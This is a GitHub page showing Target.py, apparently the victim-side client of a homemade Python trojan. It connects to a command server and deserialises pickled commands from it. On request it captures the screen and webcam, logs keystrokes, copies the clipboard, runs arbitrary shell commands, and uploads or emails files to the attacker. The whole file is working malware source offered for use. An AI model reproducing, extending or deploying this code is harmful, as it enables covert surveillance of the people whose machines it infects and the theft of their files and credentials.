-
Notifications
You must be signed in to change notification settings - Fork 0
/
Target.py
226 lines (191 loc) · 8.94 KB
/
Target.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
from Functions import *
import json
import pickle
from time import time
from socket import socket, AF_INET, SOCK_STREAM
from threading import Thread
from shutil import make_archive
# ==================================================================================================
class Communicator:
def __init__(self):
self.debug = True
self.getConstants()
self.header = self.constants['headerSize']
self.address = (self.constants["server"], self.constants["port"])
self.format = self.constants['format']
self.buffer = self.constants['bufferSize']
self.pingInfo = {
'message': self.constants['pingMessage'],
'interval': self.constants['pingInterval'],
'tolerance': self.constants['pingTolerance'],
'correct': 0,
'incorrect': 0,
'totalSent': 0
}
self.keyLogger = KeyLogger()
self.client = socket(AF_INET, SOCK_STREAM)
self.initializeClient()
def getConstants(self):
with open(r"C:\Ishaan\Programming\Python\Trojan\Constants.json") as file:
data = json.load(file)
self.path = data["FilePath"]
self.constants = data["FTP"]
def initializeClient(self):
while True:
try:
self.client.connect(self.address)
self.send('NAME', os.path.expanduser('~').split('\\')[2])
self.connected = True
self.pingInfo['correct'] = 0
self.pingInfo['incorrect'] = 0
self.pingInfo['totalSent'] = 0
except:
if self.debug: print('Couldn\'t connect')
else:
Thread(target=self.ping).start()
self.recieve()
def disconnectClient(self):
self.client.close()
if self.debug: print('Disconnected')
self.connected = False
def refresh(self):
self.disconnectClient()
if self.debug: print('Reconnecting')
self.initializeClient()
def ping(self):
startTime = time()
while self.connected:
if time() < startTime + self.pingInfo['interval']: continue
temp = self.pingInfo['totalSent'] - self.pingInfo['correct'] - self.pingInfo['incorrect']
if temp > self.pingInfo['tolerance']:
if self.debug: print('Ping tolerance Exceded')
self.send('PING', self.pingInfo['message'])
self.pingInfo['totalSent'] += 1
startTime = time()
def send(self, msgType, message, debug=False):
message = pickle.dumps((msgType, message))
size = len(message)
# sent = 0
header = f"{size:<{self.header}}".encode(self.format)
if debug:
print('Sending')
try:
self.client.send(header)
# while size > self.buffer:
# sent += self.client.send(message[sent: sent+self.buffer])
# size -= self.buffer
# print(sent, 'sent', '\t', size, 'left')
# sent += self.client.send(message[sent:])
self.client.send(message)
if debug:
print('sent')
return True
except:
if debug: print('ERROR')
return False
def sendFile(self, fileName, filePath, delete=False, debug=False):
if not os.path.exists(filePath):
if debug: print(f'File {filePath} does not exist')
return self.send('UPDATE', f'File {filePath} does not exist')
zipping = False
if os.path.isdir(filePath):
filePath = make_archive(fileName, 'zip', filePath)
fileName += '.zip'
zipping = True
if debug: print(f'Sending {fileName}')
with open(filePath, 'rb') as file:
data = file.read()
status = self.send('FILE', (fileName, data))
del data
if not status: self.send(msgType='UPDATE', message=f'couldn\'t send {fileName}', debug=debug)
if debug and status: self.send(msgType='UPDATE', message=f'sent {fileName}', debug=debug)
if (delete and status) or zipping: os.remove(filePath)
return status
def recieve(self):
print(f'[CONNECTION]:\t{self.address} connected')
while self.connected:
try:
try: msgLength = int(self.client.recv(self.header).decode(self.format))
except: continue
if not msgLength: continue
message = b''
# while msgLength > self.buffer: message += self.client.recv(self.buffer)
message += self.client.recv(msgLength)
msgType, message = pickle.loads(message)
if self.debug: print(msgType, message, type(message))
if msgType == 'UPDATE' and message == self.constants['disconnectMessage']:
self.disconnectClient()
break
elif msgType == 'PING':
if message == self.pingInfo['message']: self.pingInfo['correct'] += 1
else: self.pingInfo['incorrect'] += 1
else: self.handle(msgType, message)
except: pass
def handle(self, msgType, message):
if msgType == 'COMMAND':
if type(message) == str:
if message == 'ScreenShot':
fileName = screenShot()
return self.sendFile(fileName=fileName, filePath=self.path+fileName, delete=True, debug=self.debug)
elif message == 'SystemInformation':
fileName = systemInfo()
return self.sendFile(fileName=fileName, filePath=self.path+fileName, delete=True, debug=self.dubug)
elif type(message) == tuple:
if message[0] == 'ScreenRecording':
fileName = screenRecording(*message[1], sendFunction=self.send, debug=self.debug)
return self.sendFile(fileName=fileName, filePath=self.path+fileName, delete=True, debug=self.debug)
elif message[0] == 'WebCamRecording':
fileName = webCamRecording(*message[1], sendFunction=self.send, debug=self.debug)
return self.sendFile(fileName=fileName, filePath=self.path+fileName, delete=True, debug=self.debug)
elif message[0] == 'KeyLogger':
running = message[1]
self.keyLogger.newSessionMarker()
self.keyLogger.running = running
elif message[0] == 'ClipBoardCopying':
duration = message[1]
Thread(target=copyClipBoard, args=(duration, self.debug)).start()
elif message[0] == 'ExecuteInTerminal':
try: message = executeInTerminal(message[1], debug=self.debug)
except: message = ('ERROR', 'Some Error occurred while executing the command')
return self.send(*message, debug=self.debug)
elif message[0] == 'SendFile':
fileName, path = message[1]
return self.sendFile(fileName=fileName, filePath=path, delete=False, debug=self.debug)
elif message[0] == 'MailFile':
fileName, path = message[1]
if not os.path.exists(path):
if self.debug: print(f'File {path} does not exist')
return self.send('UPDATE', f'File {path} does not exist')
zipping = False
if os.path.isdir(path):
path = make_archive(fileName, 'zip', path)
fileName += '.zip'
zipping = True
if self.debug:
print(f'Sending {fileName}')
status = sendEmail(
subject=f'{fileName}', text='Sent by Trojan', filename=fileName, filePath=path)
if not status:
self.send(
msgType='UPDATE', message=f'couldn\'t send {fileName}', debug=self.debug)
if self.debug and status:
self.send(msgType='UPDATE',
message=f'mailed {fileName}', debug=self.debug)
if zipping:
os.remove(path)
return status
elif msgType == 'FILE':
fileName, path, data = message[1]
counter = 0
while os.path.exists(path):
counter += 1
path = path.split('.')
path = '.'.join(path[:-1]) + f'({counter})' + path[-1]
del counter
with open(path, 'wb') as file:
file.write(data)
self.send('UPDATE', f'{fileName} recieved sucessfully', debug=self.debug)
else: print(msgType, message)
# ==================================================================================================
# if __name__ == '__main__':
comm = Communicator()